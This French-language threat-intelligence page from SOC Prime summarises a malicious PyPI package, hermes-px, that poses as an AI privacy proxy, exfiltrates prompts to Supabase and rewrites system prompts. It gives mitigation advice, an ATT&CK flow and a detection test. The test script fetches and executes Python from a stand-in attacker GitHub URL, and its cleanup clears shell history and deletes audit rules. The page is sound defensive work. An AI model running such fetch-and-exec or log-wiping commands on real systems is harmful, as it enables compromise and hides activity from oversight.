SOC Prime Bias: Critique

08 Avr 2026 18:28

hermes-px : Un faux proxy de confidentialité exfiltrant des invites et modifiant le code Claude

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
hermes-px : Un faux proxy de confidentialité exfiltrant des invites et modifiant le code Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

JFrog Security Research a identifié un package PyPI malveillant, hermes-px, se faisant passer pour un proxy d’inférence AI axé sur la confidentialité. Au lieu de protéger les utilisateurs, il route le trafic via Tor vers un point de terminaison AI hébergé par une université non autorisée, échange ou réécrit les messages système, et exfiltre les invites et les réponses du modèle vers un backend Supabase. Le package intègre également une invite système Anthropic Claude volée et renommée, renforçant la tromperie. hermes-px est distribué via le PyPI public et est installable via les workflows pip standard, le rendant facile à intégrer dans les environnements de développeurs.

Investigation

Les chercheurs ont passé en revue le code source et ont trouvé trois couches de chiffrement utilisées pour dissimuler des chaînes sensibles, ainsi qu’une clé API Supabase en dur et un composant de télémétrie qui transmet des données directement sur Internet public. Le point de terminaison en amont déchiffré résout vers une API universitaire privée protégée par Azure WAF, indiquant un abus de l’infrastructure non destinée au proxy public. La documentation du projet incite en outre les utilisateurs à récupérer et exécuter du code supplémentaire à partir d’une URL GitHub, augmentant le risque au-delà du package lui-même. Pour se fondre dans les schémas de développement normaux, hermes-px imite l’interface du SDK Python OpenAI, réduisant les soupçons lors de l’intégration.

Atténuation

Retirez hermes-px de tous les environnements et verrouillez les sources de dépendance pour éviter la réinstallation. Faites pivoter les identifiants qui pourraient avoir été exposés dans les invites, les configurations ou les journaux, et bloquez l’accès au domaine d’exfiltration Supabase et aux autres URL malveillantes identifiées. Si Tor a été installé spécifiquement pour soutenir cet outil, retirez-le et revoyez les contrôles réseau associés. Supposons que les invites puissent contenir des données sensibles et révisez tout contenu capturé pour identifier des secrets, des jetons, ou des informations réglementées.

Réponse

Recherchez les installations de hermes-px en utilisant les inventaires de packages et les configurations de base des postes de travail des développeurs, puis déclenchez une alerte sur les connexions sortantes vers supabase.co et le point de terminaison API universitaire identifié. Mettez en quarantaine les hôtes affectés, préservez les artefacts pertinents (fichiers de package, historique de terminal, fichiers de verrouillage de dépendance), et évaluez l’exposition en déterminant quelles invites et réponses ont été transmises. Informez les utilisateurs impactés et, le cas échéant, l’institution concernée, et mettez à jour les détections pour signaler les apparences de SDK, le comportement de proxy médié par Tor et les modules de télémétrie suspects dans les packages Python.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Technique</b> – <b>T1204 Exécution Par l’Utilisateur</b><br/>La victime exécute la commande malveillante (par ex., pip install hermes-px)<br/><b>Description</b>: Exécution de code malveillant en convainquant un utilisateur de l’exécuter."] class tech_user_exec technique tech_supply_chain["<b>Technique</b> – <b>T1195.002 Compromettre la Chaîne d’Approvisionnement Softwarenb </b><br/>Package PyPI malveillant publié pour détourner la chaîne de dépendance<br/><b>Description</b>: L’adversaire injecte du code malveillant dans une chaîne d’approvisionnement de logiciels."] class tech_supply_chain technique tech_python["<b>Technique</b> – <b>T1059.006 Python</b><br/>Code Python malveillant exécuté après l’installation<br/><b>Description</b>: Utilisation de l’interpréteur Python pour exécuter des commandes."] class tech_python technique tech_proxy_ext["<b>Technique</b> – <b>T1090.002 Proxy Externe</b><br/>Le trafic est routé via un nœud de sortie Tor<br/><b>Description</b>: Utilisation d’un service de proxy externe pour masquer l’origine du trafic réseau."] class tech_proxy_ext technique tech_proxy_multi["<b>Technique</b> – <b>T1090.003 Proxy À Rebond Multiple</b><br/>Plusieurs sauts Tor pour l’anonymat<br/><b>Description</b>: Enchaîner plusieurs proxies pour obscurcir davantage la source du trafic."] class tech_proxy_multi technique tech_web_proto["<b>Technique</b> – <b>T1071.001 Protocoles Web</b><br/>Requêtes HTTP à une API universitaire privée<br/><b>Description</b>: Utilisation de protocoles web pour la communication de commande et de contrôle."] class tech_web_proto technique tech_obfuscation["<b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b><br/>Chaînes chiffrées décodées à l’exécution<br/><b>Description</b>: Cacher du code malveillant en utilisant le chiffrement ou l’encodage."] class tech_obfuscation technique tech_dynamic_api["<b>Technique</b> – <b>T1027.007 Résolution Dynamique d’API</b><br/>Adresses API résolues dynamiquement au moment de l’exécution<br/><b>Description</b>: Résoudre et invoquer des API à l’exécution pour éviter la détection statique."] class tech_dynamic_api technique tech_exfil["<b>Technique</b> – <b>T1567 Exfiltration Via Service Web</b><br/>Données envoyées au point de terminaison Supabase de l’attaquant<br/><b>Description</b>: Transfert de données vers des services web externes contrôlés par l’adversaire."] class tech_exfil technique tech_subvert_trust["<b>Technique</b> – <b>T1553 Subversion des Contrôles de Confiance</b><br/>Organisation factice et documentation soignée utilisées pour attirer les victimes<br/><b>Description</b>: Manipuler les relations de confiance pour faciliter le compromis."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|exécute| tech_supply_chain tech_supply_chain –>|livre| tech_python tech_python –>|utilise| tech_proxy_ext tech_proxy_ext –>|enchaîne vers| tech_proxy_multi tech_proxy_multi –>|communique via| tech_web_proto tech_web_proto –>|utilise| tech_obfuscation tech_web_proto –>|utilise| tech_dynamic_api tech_obfuscation –>|active| tech_exfil tech_dynamic_api –>|active| tech_exfil tech_python –>|active| tech_subvert_trust "

Flux d’Attaque

Simulation d’Exécution

Prérequis : Vérification Pré‑vol de Télémétrie et de Base doit être passée.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un faux diagnostic.

  • Narrative et Commandes d’Attaque :
    Un attaquant a obtenu une charge utile Python malveillante hébergée sur un dépôt GitHub public. Pour éviter l’écriture de fichiers sur le disque (réduisant les traces légales), il utilise une commande Python sur une seule ligne qui :

    1. Appelle urllib.request.urlopen() pour télécharger le contenu brut du script depuis GitHub.
    2. Lit la réponse et passe les octets à exec() pour une exécution immédiate.
    3. Exécute la commande sur un hôte Linux compromis où l’attaquant a déjà accès à un shell à faible privilège.

    Ce schéma exact (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") correspond aux critères de chaîne de la règle de détection.

  • Script de Test de Régression :

    #!/bin/bash
    #
    # Simule une exécution Python malveillante qui devrait déclencher la règle Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Enregistrez ce script sous trigger_detection.sh, rendez-le exécutable (chmod +x trigger_detection.sh), et exécutez-le sur l’hôte cible.

  • Commandes de Nettoyage :

    # Aucun artefact persistant n'est créé, mais assurez-vous que le terminal est propre.
    history -c                     # Effacer l'historique de commande pour la session en cours
    sudo auditctl -D               # (Optionnel) Supprimer toutes les règles d'audit à l'exécution si vous les avez ajoutées uniquement pour les tests
    # Si vous avez ajouté une règle persistante dans /etc/audit/rules.d/, envisagez de la supprimer :
    # sudo rm /etc/audit/rules.d/process_creation.rules